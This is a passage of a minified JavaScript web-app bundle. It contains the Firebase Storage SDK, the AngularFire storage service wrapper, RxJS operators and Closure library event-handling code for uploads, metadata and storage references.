t}function ha(t,e){if(e&&ua(e)){if(t instanceof fa)return function(t,e){return new ia(t,e)}(t,e);throw as("To use ref(service, url), the first argument must be a Storage instance.")}return da(t,e)}function pa(t,e){var n=null==e?void 0:e[es];return null==n?null:xs.makeFromBucketSpec(n,t)}var fa=function(){function t(t,e,n,r,i,o){this.app=t,this._authProvider=e,this._appCheckProvider=n,this._pool=r,this._url=i,this._firebaseVersion=o,this._bucket=null,this._host=ts,this._appId=null,this._deleted=!1,this._maxOperationRetryTime=12e4,this._maxUploadRetryTime=6e5,this._requests=new Set,this._bucket=null!=i?xs.makeFromBucketSpec(i,this._host):pa(this._host,this.app.options)}return Object.defineProperty(t.prototype,"host",{get:function(){return this._host},set:function(t){this._host=t,this._bucket=null!=this._url?xs.makeFromBucketSpec(this._url,t):pa(t,this.app.options)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"maxUploadRetryTime",{get:function(){return this._maxUploadRetryTime},set:function(t){Es("time",0,Number.POSITIVE_INFINITY,t),this._maxUploadRetryTime=t},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"maxOperationRetryTime",{get:function(){return this._maxOperationRetryTime},set:function(t){Es("time",0,Number.POSITIVE_INFINITY,t),this._maxOperationRetryTime=t},enumerable:!1,configurable:!0}),t.prototype._getAuthToken=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return(t=this._authProvider.getImmediate({optional:!0}))?[4,t.getToken()]:[3,2];case 1:if(null!==(e=n.sent()))return[2,e.accessToken];n.label=2;case 2:return[2,null]}})})},t.prototype._getAppCheckToken=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t;return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return(t=this._appCheckProvider.getImmediate({optional:!0}))?[4,t.getToken()]:[3,2];case 1:return[2,e.sent().token];case 2:return[2,null]}})})},t.prototype._delete=function(){return this._deleted=!0,this._requests.forEach(function(t){return t.cancel()}),this._requests.clear(),Promise.resolve()},t.prototype._makeStorageReference=function(t){return new ia(this,t)},t.prototype._makeRequest=function(t,e,n){var r=this;if(this._deleted)return new Ps(cs());var i=function(t,e,n,r,i,o){var s=Is(t.urlParams),a=t.url+s,c=Object.assign({},t.headers);return function(t,e){e&&(t["X-Firebase-GMPID"]=e)}(c,e),function(t,e){null!==e&&e.length>0&&(t.Authorization="Firebase "+e)}(c,n),function(t,e){t["X-Firebase-Storage-Version"]="webjs/"+(null!=e?e:"AppManager")}(c,o),function(t,e){null!==e&&(t["X-Firebase-AppCheck"]=e)}(c,r),new ks(a,t.method,c,t.body,t.successCodes,t.additionalRetryCodes,t.handler,t.errorHandler,t.timeout,t.progressCallback,i)}(t,this._appId,e,n,this._pool,this._firebaseVersion);return this._requests.add(i),i.getPromise().then(function(){return r._requests.delete(i)},function(){return r._requests.delete(i)}),i},t.prototype.makeRequestWithTokens=function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return[4,Promise.all([this._getAuthToken(),this._getAppCheckToken()])];case 1:return e=n.sent(),[2,this._makeRequest(t,e[0],e[1])]}})})},t}();function ga(t,e){return ha(t=(0,Yo.m9)(t),e)}var ma,ya,ba=function(){function t(t,e,n){this._delegate=t,this.task=e,this.ref=n}return Object.defineProperty(t.prototype,"bytesTransferred",{get:function(){return this._delegate.bytesTransferred},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"metadata",{get:function(){return this._delegate.metadata},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"state",{get:function(){return this._delegate.state},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"totalBytes",{get:function(){return this._delegate.totalBytes},enumerable:!1,configurable:!0}),t}(),va=function(){function t(t,e){this._delegate=t,this._ref=e,this.cancel=this._delegate.cancel.bind(this._delegate),this.catch=this._delegate.catch.bind(this._delegate),this.pause=this._delegate.pause.bind(this._delegate),this.resume=this._delegate.resume.bind(this._delegate)}return Object.defineProperty(t.prototype,"snapshot",{get:function(){return new ba(this._delegate.snapshot,this,this._ref)},enumerable:!1,configurable:!0}),t.prototype.then=function(t,e){var n=this;return this._delegate.then(function(e){if(t)return t(new ba(e,n,n._ref))},e)},t.prototype.on=function(t,e,n,r){var i=this,o=void 0;return e&&(o="function"==typeof e?function(t){return e(new ba(t,i,i._ref))}:{next:e.next?function(t){return e.next(new ba(t,i,i._ref))}:void 0,complete:e.complete||void 0,error:e.error||void 0}),this._delegate.on(t,o,n||void 0,r||void 0)},t}(),_a=function(){function t(t,e){this._delegate=t,this._service=e}return Object.defineProperty(t.prototype,"prefixes",{get:function(){var t=this;return this._delegate.prefixes.map(function(e){return new Ca(e,t._service)})},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"items",{get:function(){var t=this;return this._delegate.items.map(function(e){return new Ca(e,t._service)})},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"nextPageToken",{get:function(){return this._delegate.nextPageToken||null},enumerable:!1,configurable:!0}),t}(),Ca=function(){function t(t,e){this._delegate=t,this.storage=e}return Object.defineProperty(t.prototype,"name",{get:function(){return this._delegate.name},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"bucket",{get:function(){return this._delegate.bucket},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"fullPath",{get:function(){return this._delegate.fullPath},enumerable:!1,configurable:!0}),t.prototype.toString=function(){return this._delegate.toString()},t.prototype.child=function(e){return new t(function(t,e){return la(t,e)}(this._delegate,e),this.storage)},Object.defineProperty(t.prototype,"root",{get:function(){return new t(this._delegate.root,this.storage)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"parent",{get:function(){var e=this._delegate.parent;return null==e?null:new t(e,this.storage)},enumerable:!1,configurable:!0}),t.prototype.put=function(t,e){return this._throwIfRoot("put"),new va(function(t,e,n){return function(t,e,n){return t._throwIfRoot("uploadBytesResumable"),new ra(t,new Rs(e),n)}(t=(0,Yo.m9)(t),e,n)}(this._delegate,t,e),this)},t.prototype.putString=function(t,e,n){void 0===e&&(e=hs.RAW),this._throwIfRoot("putString");var r=fs(e,t),i=(0,Zo.pi)({},n);return null==i.contentType&&null!=r.contentType&&(i.contentType=r.contentType),new va(new ra(this._delegate,new Rs(r.data,!0),i),this)},t.prototype.listAll=function(){var t=this;return function(t){return oa(t=(0,Yo.m9)(t))}(this._delegate).then(function(e){return new _a(e,t.storage)})},t.prototype.list=function(t){var e=this;return function(t,e){return aa(t=(0,Yo.m9)(t),e)}(this._delegate,t||void 0).then(function(t){return new _a(t,e.storage)})},t.prototype.getMetadata=function(){return function(t){return function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return t._throwIfRoot("getMetadata"),e=Xs(t.storage,t._location,Hs()),[4,t.storage.makeRequestWithTokens(e)];case 1:return[2,n.sent().getPromise()]}})})}(t=(0,Yo.m9)(t))}(this._delegate)},t.prototype.updateMetadata=function(t){return function(t,e){return function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:return t._throwIfRoot("updateMetadata"),n=function(t,e,n,r){var i=Ts(e.fullServerUrl(),t.host),o=Gs(n,r),s=t.maxOperationRetryTime,a=new qs(i,"PATCH",Ks(t,r),s);return a.headers={"Content-Type":"application/json; charset=utf-8"},a.body=o,a.errorHandler=Qs(e),a}(t.storage,t._location,e,Hs()),[4,t.storage.makeRequestWithTokens(n)];case 1:return[2,r.sent().getPromise()]}})})}(t=(0,Yo.m9)(t),e)}(this._delegate,t)},t.prototype.getDownloadURL=function(){return function(t){return ca(t=(0,Yo.m9)(t))}(this._delegate)},t.prototype.delete=function(){return this._throwIfRoot("delete"),function(t){return function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return t._throwIfRoot("deleteObject"),e=function(t,e){var n=Ts(e.fullServerUrl(),t.host),r=new qs(n,"DELETE",function(t,e){},t.maxOperationRetryTime);return r.successCodes=[200,204],r.errorHandler=Qs(e),r}(t.storage,t._location),[4,t.storage.makeRequestWithTokens(e)];case 1:return[2,n.sent().getPromise()]}})})}(t=(0,Yo.m9)(t))}(this._delegate)},t.prototype._throwIfRoot=function(t){if(""===this._delegate._location.path)throw ls(t)},t}(),wa=function(){function t(t,e){var n=this;this.app=t,this._delegate=e,this.INTERNAL={delete:function(){return n._delegate._delete()}}}return Object.defineProperty(t.prototype,"maxOperationRetryTime",{get:function(){return this._delegate.maxOperationRetryTime},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"maxUploadRetryTime",{get:function(){return this._delegate.maxUploadRetryTime},enumerable:!1,configurable:!0}),t.prototype.ref=function(t){if(ua(t))throw as("ref() expected a child path but got a URL, use refFromURL instead.");return new Ca(ga(this._delegate,t),this)},t.prototype.refFromURL=function(t){if(!ua(t))throw as("refFromURL() expected a full URL but got a child path, use ref() instead.");try{xs.makeFromUrl(t,this._delegate.host)}catch(e){throw as("refFromUrl() expected a valid full URL but got an invalid one.")}return new Ca(ga(this._delegate,t),this)},t.prototype.setMaxUploadRetryTime=function(t){this._delegate.maxUploadRetryTime=t},t.prototype.setMaxOperationRetryTime=function(t){this._delegate.maxOperationRetryTime=t},t.prototype.useEmulator=function(t,e){!function(t,e,n){t.host="http://"+e+":"+n}(this._delegate,t,e)},t}();function xa(t){const e=function(t){return new re.y(e=>{const n=t=>e.next(t);n(t.snapshot);const r=t.on("state_changed",n);return t.then(t=>{n(t),e.complete()},r=>{n(t.snapshot),(t=>{e.error(t)})(r)}),function(){r()}}).pipe(Uo(0))}(t);return{task:t,then:t.then.bind(t),catch:t.catch.bind(t),pause:t.pause.bind(t),cancel:t.cancel.bind(t),resume:t.resume.bind(t),snapshotChanges:()=>e,percentageChanges:()=>e.pipe((0,ue.U)(t=>t.bytesTransferred/t.totalBytes*100))}}function Pa(t,e,n){return{getDownloadURL:()=>(0,ne.of)(void 0).pipe((0,$o.QV)(e.outsideAngular),pn(()=>t.getDownloadURL()),n),getMetadata:()=>(0,ne.of)(void 0).pipe((0,$o.QV)(e.outsideAngular),pn(()=>t.getMetadata()),n),delete:()=>(0,qe.D)(t.delete()),child:r=>Pa(t.child(r),e,n),updateMetadata:e=>(0,qe.D)(t.updateMetadata(e)),put:(e,n)=>xa(t.put(e,n)),putString:(e,n,r)=>xa(t.putString(e,n,r)),listAll:()=>(0,qe.D)(t.listAll())}}ya={TaskState:bs,TaskEvent:{STATE_CHANGED:"state_changed"},StringFormat:hs,Storage:fa,Reference:Ca},(ma=Xo.Z).INTERNAL.registerComponent(new Jo.wA("storage",function(t,e){var n=e.instanceIdentifier,r=t.getProvider("app").getImmediate(),i=t.getProvider("auth-internal"),o=t.getProvider("app-check-internal");return new wa(r,new fa(r,i,o,new ws,n,Xo.Z.SDK_VERSION))},"PUBLIC").setServiceProps(ya).setMultipleInstances(!0)),ma.registerVersion("@firebase/storage","0.5.4");const Sa=new r.InjectionToken("angularfire2.storageBucket"),Ma=new r.InjectionToken("angularfire2.storage.maxUploadRetryTime"),Oa=new r.InjectionToken("angularfire2.storage.maxOperationRetryTime");let Ea=(()=>{class t{constructor(t,e,n,r,i,o,s){this.schedulers=new Qo.HU(i),this.keepUnstableUntilFirst=(0,Qo.ss)(this.schedulers);const a=(0,Qo.on)(t,i,e);this.storage=(0,Qo.sI)(`${a.name}.storage.${n}`,"AngularFireStorage",a,()=>{const t=i.runOutsideAngular(()=>a.storage(n||void 0));return o&&t.setMaxUploadRetryTime(o),s&&t.setMaxOperationRetryTime(s),t},[o,s])}ref(t){return Pa(this.storage.ref(t),this.schedulers,this.keepUnstableUntilFirst)}refFromURL(t){return Pa(this.storage.refFromURL(t),this.schedulers,this.keepUnstableUntilFirst)}upload(t,e,n){return Pa(this.storage.ref(t),this.schedulers,this.keepUnstableUntilFirst).put(e,n)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Qo.Dh),r.\u0275\u0275inject(Qo.xv,8),r.\u0275\u0275inject(Sa,8),r.\u0275\u0275inject(r.PLATFORM_ID),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(Ma,8),r.\u0275\u0275inject(Oa,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(Qo.Dh),r.\u0275\u0275inject(Qo.xv,8),r.\u0275\u0275inject(Sa,8),r.\u0275\u0275inject(r.PLATFORM_ID),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(Ma,8),r.\u0275\u0275inject(Oa,8))},token:t,providedIn:"any"}),t})();function Ta(){return t=>t.lift(new Ia)}class Ia{call(t,e){return e.subscribe(new ka(t))}}class ka extends se.L{constructor(t){super(t),this.hasPrev=!1}_next(t){let e;this.hasPrev?e=[this.prev,t]:this.hasPrev=!0,this.prev=t,e&&this.destination.next(e)}}function Aa(t,e){return n=>n.lift(new Da(t,e))}class Da{constructor(t,e){this.compare=t,this.keySelector=e}call(t,e){return e.subscribe(new Na(t,this.compare,this.keySelector))}}class Na extends se.L{constructor(t,e,n){super(t),this.keySelector=n,this.hasKey=!1,"function"==typeof e&&(this.compare=e)}compare(t,e){return t===e}_next(t){let e;try{const{keySelector:n}=this;e=n?n(t):t}catch(r){return this.destination.error(r)}let n=!1;if(this.hasKey)try{const{compare:t}=this;n=t(this.key,e)}catch(r){return this.destination.error(r)}else this.hasKey=!0;n||(this.key=e,this.destination.next(t))}}var Ra=n(2329),La=n(300),ja=function(t,e){return(ja=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])})(t,e)};function Fa(t){var e="function"==typeof Symbol&&Symbol.iterator,n=e&&t[e],r=0;if(n)return n.call(t);if(t&&"number"==typeof t.length)return{next:function(){return t&&r>=t.length&&(t=void 0),{value:t&&t[r++],done:!t}}};throw new TypeError(e?"Object is not iterable.":"Symbol.iterator is not defined.")}var Va,Ba="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},Ha=Ha||{},za=Ba||self;function Ga(){}function Ua(t){var e=typeof t;return"array"==(e="object"!=e?e:t?Array.isArray(t)?"array":e:"null")||"object"==e&&"number"==typeof t.length}function qa(t){var e=typeof t;return"object"==e&&null!=t||"function"==e}var Wa="closure_uid_"+(1e9*Math.random()>>>0),Ka=0;function $a(t,e,n){return t.call.apply(t.bind,arguments)}function Qa(t,e,n){if(!t)throw Error();if(2<arguments.length){var r=Array.prototype.slice.call(arguments,2);return function(){var n=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(n,r),t.apply(e,n)}}return function(){return t.apply(e,arguments)}}function Xa(t,e,n){return(Xa=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?$a:Qa).apply(null,arguments)}function Za(t,e){var n=Array.prototype.slice.call(arguments,1);return function(){var e=n.slice();return e.push.apply(e,arguments),t.apply(this,e)}}function Ya(){return Date.now()}function Ja(t,e){function n(){}n.prototype=e.prototype,t.X=e.prototype,t.prototype=new n,t.prototype.constructor=t,t.Pb=function(t,n,r){for(var i=Array(arguments.length-2),o=2;o<arguments.length;o++)i[o-2]=arguments[o];return e.prototype[n].apply(t,i)}}function tc(){this.j=this.j,this.i=this.i}tc.prototype.j=!1,tc.prototype.ka=function(){!this.j&&(this.j=!0,this.H(),0)&&function(t){Object.prototype.hasOwnProperty.call(t,Wa)&&t[Wa]||(t[Wa]=++Ka)}(this)},tc.prototype.H=function(){if(this.i)for(;this.i.length;)this.i.shift()()};var ec=Array.prototype.indexOf?function(t,e){return Array.prototype.indexOf.call(t,e,void 0)}:function(t,e){if("string"==typeof t)return"string"!=typeof e||1!=e.length?-1:t.indexOf(e,0);for(var n=0;n<t.length;n++)if(n in t&&t[n]===e)return n;return-1},nc=Array.prototype.forEach?function(t,e,n){Array.prototype.forEach.call(t,e,n)}:function(t,e,n){for(var r=t.length,i="string"==typeof t?t.split(""):t,o=0;o<r;o++)o in i&&e.call(n,i[o],o,t)};function rc(t){return Array.prototype.concat.apply([],arguments)}function ic(t){var e=t.length;if(0<e){for(var n=Array(e),r=0;r<e;r++)n[r]=t[r];return n}return[]}function oc(t){return/^[\s\xa0]*$/.test(t)}var sc,ac=String.prototype.trim?function(t){return t.trim()}:function(t){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(t)[1]};function cc(t,e){return-1!=t.indexOf(e)}function lc(t,e){return t<e?-1:t>e?1:0}t:{var uc=za.navigator;if(uc){var dc=uc.userAgent;if(dc){sc=dc;break t}}sc=""}function hc(t,e,n){for(var r in t)e.call(n,t[r],r,t)}function pc(t){var e={};for(var n in t)e[n]=t[n];return e}var fc="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");function gc(t,e){for(var n,r,i=1;i<arguments.length;i++){for(n in r=arguments[i])t[n]=r[n];for(var o=0;o<fc.length;o++)n=fc[o],Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}}function mc(t){return mc[" "](t),t}mc[" "]=Ga;var yc,bc=cc(sc,"Opera"),vc=cc(sc,"Trident")||cc(sc,"MSIE"),_c=cc(sc,"Edge"),Cc=_c||vc,wc=cc(sc,"Gecko")&&!(cc(sc.toLowerCase(),"webkit")&&!cc(sc,"Edge"))&&!(cc(sc,"Trident")||cc(sc,"MSIE"))&&!cc(sc,"Edge"),xc=cc(sc.toLowerCase(),"webkit")&&!cc(sc,"Edge");function Pc(){var t=za.document;return t?t.documentMode:void 0}t:{var Sc="",Mc=function(){var t=sc;return wc?/rv:([^\);]+)(\)|;)/.exec(t):_c?/Edge\/([\d\.]+)/.exec(t):vc?/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(t):xc?/WebKit\/(\S+)/.exec(t):bc?/(?:Version)[ \/]?(\S+)/.exec(t):void 0}();if(Mc&&(Sc=Mc?Mc[1]:""),vc){var Oc=Pc();if(null!=Oc&&Oc>parseFloat(Sc)){yc=String(Oc);break t}}yc=Sc}var Ec={};function Tc(t){return function(t,e){var n=Ec;return Object.prototype.hasOwnProperty.call(n,t)?n[t]:n[t]=e()}(t,function(){for(var e=0,n=ac(String(yc)).split("."),r=ac(String(t)).split("."),i=Math.max(n.length,r.length),o=0;0==e&&o<i;o++){var s=n[o]||"",a=r[o]||"";do{if(s=/(\d*)(\D*)(.*)/.exec(s)||["","","",""],a=/(\d*)(\D*)(.*)/.exec(a)||["","","",""],0==s[0].length&&0==a[0].length)break;e=lc(0==s[1].length?0:parseInt(s[1],10),0==a[1].length?0:parseInt(a[1],10))||lc(0==s[2].length,0==a[2].length)||lc(s[2],a[2]),s=s[3],a=a[3]}while(0==e)}return 0<=e})}var Ic=za.document&&vc&&(Pc()||parseInt(yc,10))||void 0,kc=!vc||9<=Number(Ic),Ac=vc&&!Tc("9"),Dc=function(){if(!za.addEventListener||!Object.defineProperty)return!1;var t=!1,e=Object.defineProperty({},"passive",{get:function(){t=!0}});try{za.addEventListener("test",Ga,e),za.removeEventListener("test",Ga,e)}catch(n){}return t}();function Nc(t,e){this.type=t,this.a=this.target=e,this.defaultPrevented=!1}function Rc(t,e){if(Nc.call(this,t?t.type:""),this.relatedTarget=this.a=this.target=null,this.button=this.screenY=this.screenX=this.clientY=this.clientX=0,this.key="",this.metaKey=this.shiftKey=this.altKey=this.ctrlKey=!1,this.pointerId=0,this.pointerType="",this.c=null,t){var n=this.type=t.type,r=t.changedTouches&&t.changedTouches.length?t.changedTouches[0]:null;if(this.target=t.target||t.srcElement,this.a=e,e=t.relatedTarget){if(wc){t:{try{mc(e.nodeName);var i=!0;break t}catch(o){}i=!1}i||(e=null)}}else"mouseover"==n?e=t.fromElement:"mouseout"==n&&(e=t.toElement);this.relatedTarget=e,r?(this.clientX=void 0!==r.clientX?r.clientX:r.pageX,this.clientY=void 0!==r.clientY?r.clientY:r.pageY,this.screenX=r.screenX||0,this.screenY=r.screenY||0):(this.clientX=void 0!==t.clientX?t.clientX:t.pageX,this.clientY=void 0!==t.clientY?t.clientY:t.pageY,this.screenX=t.screenX||0,this.screenY=t.screenY||0),this.button=t.button,this.key=t.key||"",this.ctrlKey=t.ctrlKey,this.altKey=t.altKey,this.shiftKey=t.shiftKey,this.metaKey=t.metaKey,this.pointerId=t.pointerId||0,this.pointerType="string"==typeof t.pointerType?t.pointerType:Lc[t.pointerType]||"",this.c=t,t.defaultPrevented&&this.b()}}Nc.prototype.b=function(){this.defaultPrevented=!0},Ja(Rc,Nc);var Lc={2:"touch",3:"pen",4:"mouse"};Rc.prototype.b=function(){Rc.X.b.call(this);var t=this.c;if(t.preventDefault)t.preventDefault();else if(t.returnValue=!1,Ac)try{(t.ctrlKey||112<=t.keyCode&&123>=t.keyCode)&&(t.keyCode=-1)}catch(ya){}};var jc="closure_listenable_"+(1e6*Math.random()|0),Fc=0;function Vc(t,e,n,r,i){this.listener=t,this.proxy=null,this.src=e,this.type=n,this.capture=!!r,this.da=i,this.key=++Fc,this.Y=this.Z=!1}function Bc(t){t.Y=!0,t.listener=null,t.proxy=null,t.src=null,t.da=null}function Hc(t){this.src=t,this.a={},this.b=0}function zc(t,e){var n=e.type;if(n in t.a){var r,i=t.a[n],o=ec(i,e);(r=0<=o)&&Array.prototype.splice.call(i,o,1),r&&(Bc(e),0==t.a[n].length&&(delete t.a[n],t.b--))}}function Gc(t,e,n,r){for(var i=0;i<t.length;++i){var o=t[i];if(!o.Y&&o.listener==e&&o.capture==!!n&&o.da==r)return i}return-1}Hc.prototype.add=function(t,e,n,r,i){var o=t.toString();(t=this.a[o])||(t=this.a[o]=[],this.b++);var s=Gc(t,e,r,i);return-1<s?(e=t[s],n||(e.Z=!1)):((e=new Vc(e,this.src,o,!!r,i)).Z=n,t.push(e)),e};var Uc="closure_lm_"+(1e6*Math.random()|0),qc={};function Wc(t,e,n,r,i){if(r&&r.once)return $c(t,e,n,r,i);if(Array.isArray(e)){for(var o=0;o<e.length;o++)Wc(t,e[o],n,r,i);return null}return n=nl(n),t&&t[jc]?t.wa(e,n,qa(r)?!!r.capture:!!r,i):Kc(t,e,n,!1,r,i)}function Kc(t,e,n,r,i,o){if(!e)throw Error("Invalid event type");var s=qa(i)?!!i.capture:!!i;if(s&&!kc)return null;var a=tl(t);if(a||(t[Uc]=a=new Hc(t)),(n=a.add(e,n,r,s,o)).proxy)return n;if(r=function(){var t=Jc,e=kc?function(n){return t.call(e.src,e.listener,n)}:function(n){if(!(n=t.call(e.src,e.listener,n)))return n};return e}(),n.proxy=r,r.src=t,r.listener=n,t.addEventListener)Dc||(i=s),void 0===i&&(i=!1),t.addEventListener(e.toString(),r,i);else if(t.attachEvent)t.attachEvent(Zc(e.toString()),r);else{if(!t.addListener||!t.removeListener)throw Error("addEventListener and attachEvent are unavailable.");t.addListener(r)}return n}function $c(t,e,n,r,i){if(Array.isArray(e)){for(var o=0;o<e.length;o++)$c(t,e[o],n,r,i);return null}return n=nl(n),t&&t[jc]?t.xa(e,n,qa(r)?!!r.capture:!!r,i):Kc(t,e,n,!0,r,i)}function Qc(t,e,n,r,i){if(Array.isArray(e))for(var o=0;o<e.length;o++)Qc(t,e[o],n,r,i);else r=qa(r)?!!r.capture:!!r,n=nl(n),t&&t[jc]?(t=t.c,(e=String(e).toString())in t.a&&-1<(n=Gc(o=t.a[e],n,r,i))&&(Bc(o[n]),Array.prototype.splice.call(o,n,1),0==o.length&&(delete t.a[e],t.b--))):t&&(t=tl(t))&&(e=t.a[e.toString()],t=-1,e&&(t=Gc(e,n,r,i)),(n=-1<t?e[t]:null)&&Xc(n))}function Xc(t){if("number"!=typeof t&&t&&!t.Y){var e=t.src;if(e&&e[jc])zc(e.c,t);else{var n=t.type,r=t.proxy;e.removeEventListener?e.removeEventListener(n,r,t.capture):e.detachEvent?e.detachEvent(Zc(n),r):e.addListener&&e.removeListener&&e.removeListener(r),(n=tl(e))?(zc(n,t),0==n.b&&(n.src=null,e[Uc]=null)):Bc(t)}}}function Zc(t){return t in qc?qc[t]:qc[t]="on"+t}function Yc(t,e){var n=t.listener,r=t.da||t.src;return t.Z&&Xc(t),n.call(r,e)}function Jc(t,e){if(t.Y)return!0;if(!kc){if(!e)t:{e=["window","event"];for(var n=za,r=0;r<e.length;r++)if(null==(n=n[e[r]])){e=null;break t}e=n}return Yc(t,e=new Rc(e,this))}return Yc(t,new Rc(e,this))}function tl(t){return(t=t[Uc])instanceof Hc?t:null}var el="__closure_events_fn_"+(1e9*Math.random()>>>0);function nl(t){return"function"==typeof t?t:(t[el]||(t[el]=function(e){return t.handleEvent(e)}),t[el])}function rl(){tc.call(this),this.c=new Hc(this),this.J=this,this.D=null}function il(t,e){var n,r=t.D;if(r)for(n=[];r;r=r.D)n.push(r);if(t=t.J,r=e.type||e,"string"==typeof e)e=new Nc(e,t);else if(e instanceof Nc)e.target=e.target||t;else{var i=e;gc(e=new Nc(r,t),i)}if(i=!0,n)for(var o=n.length-1;0<=o;o--){var s=e.a=n[o];i=ol(s,r,!0,e)&&i}if(i=ol(s=e.a=t,r,!0,e)&&i,i=ol(s,r,!1,e)&&i,n)for(o=0;o<n.length;o++)i=ol(s=e.a=n[o],r,!1,e)&&i}function ol(t,e,n,r){if(!(e=t.c.a[String(e)]))return!0;e=e.concat();for(var i=!0,o=0;o<e.length;++o){var s=e[o];if(s&&!s.Y&&s.capture==n){var a=s.listener,c=s.da||s.src;s.Z&&zc(t.c,s),i=!1!==a.call(c,r)&&i}}return i&&!r.defaultPrevented}Ja(rl,tc),rl.prototype[jc]=!0,(Va=rl.prototype).addEventListener=function(t,e,n,r){Wc(this,t,e,n,r)},Va.removeEventListener=function(t,e,n,r){Qc(this,t,e,n,r)},Va.H=function(){if(rl.X.H.call(this),this.c){var t,e=this.c;for(t in e.a){for(var n=e.a[t],r=0;r<n.length;r++)Bc(n[r]);delete e.a[t],e.b--}}this.D=null},Va.wa=function(t,e,n,r){return this.c.add(String(t),e,!1,n,r)},Va.xa=function(t,e,n,r){return this.c.add(String(t),e,!0,n,r)};var sl=za.JSON.stringify;function al(){this.b=this.a=null}var cl,ll=new(function(){function t(t,e){this.c=t,this.f=e,this.b=0,this.a=null}return t.prototype.get=function(){var t;return 0<this.b?(this.b--,this.a=(t=this.a).next,t.next=null):t=this.c(),t},t}())(function(){return new dl},function(t){t.reset()});function ul(){var t=gl,e=null;return t.a&&(e=t.a,t.a=t.a.next,t.a||(t.b=null),e.next=null),e}function dl(){this.next=this.b=this.a=null}function hl(t){za.setTimeout(function(){throw t},0)}function pl(t,e){cl||function(){var t=za.Promise.resolve(void 0);cl=function(){t.then(ml)}}(),fl||(cl(),fl=!0),gl.add(t,e)}al.prototype.add=function(t,e){var n=ll.get();n.set(t,e),this.b?this.b.next=n:this.a=n,this.b=n},dl.prototype.set=function(t,e){this.a=t,this.b=e,this.next=null},dl.prototype.reset=function(){this.next=this.b=this.a=null};var fl=!1,gl=new al;function ml(){for(var t;t=ul();){try{t.a.call(t.b)}catch(n){hl(n)}var e=ll;e.f(t),100>e.b&&(e.b++,t.next=e.a,e.a=t)}fl=!1}function yl(t,e){rl.call(this),this.b=t||1,this.a=e||za,this.f=Xa(this.eb,this),this.g=Ya()}function bl(t){t.aa=!1,t.M&&(t.a.clearTimeout(t.M),t.M=null)}function vl(t,e,n){if("function"==typeof t)n&&(t=Xa(t,n));else{if(!t||"function"!=typeof t.handleEvent)throw Error("Invalid listener argument");t=Xa(t.handleEvent,t)}return 2147483647<Number(e)?-1:za.setTimeout(t,e||0)}function _l(t){t.a=vl(function(){t.a=null,t.c&&(t.c=!1,_l(t))},t.h);var e=t.b;t.b=null,t.g.apply(null,e)}Ja(yl,rl),(Va=yl.prototype).aa=!1,Va.M=null,Va.eb=function(){if(this.aa){var t=Ya()-this.g;0<t&&t<.8*this.b?this.M=this.a.setTimeout(this.f,this.b-t):(this.M&&(this.a.clearTimeout(this.M),this.M=null),il(this,"tick"),this.aa&&(bl(this),this.start()))}},Va.start=function(){this.aa=!0,this.M||(this.M=this.a.setTimeout(this.f,this.b),this.g=Ya())},Va.H=function(){yl.X.H.call(this),bl(this),delete this.a};var Cl=function(t){function e(e,n){var r=t.call(this)||this;return r.g=e,r.h=n,r.b=null,r.c=!1,r.a=null,r}return function(t,e){function n(){this.constructor=t}ja(t,e),t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}(e,t),e.prototype.f=function(t){this.b=arguments,this.a?this.c=!0:_l(this)},e.prototype.H=function(){t.prototype.H.call(this),this.a&&(za.clearTimeout(this.a),this.a=null,this.c=!1,this.b=null)},e}(tc);function wl(t){tc.call(this),this.b=t,this.a={}}Ja(wl,tc);var xl=[];function Pl(t,e,n,r){Array.isArray(n)||(n&&(xl[0]=n.toString()),n=xl);for(var i=0;i<n.length;i++){var o=Wc(e,n[i],r||t.handleEvent,!1,t.b||t);if(!o)break;t.a[o.key]=o}}function Sl(t){hc(t.a,function(t,e){this.a.hasOwnProperty(e)&&Xc(t)},t),t.a={}}function Ml(){this.a=!0}function Ol(t,e,n,r){t.info(function(){return"XMLHTTP TEXT ("+e+"): "+function(t,e){if(!t.a)return e;if(!e)return null;try{var n=JSON.parse(e);if(n)for(t=0;t<n.length;t++)if(Array.isArray(n[t])){var r=n[t];if(!(2>r.length)){var i=r[1];if(Array.isArray(i)&&!(1>i.length)){var o=i[0];if("noop"!=o&&"stop"!=o&&"close"!=o)for(var s=1;s<i.length;s++)i[s]=""}}}return 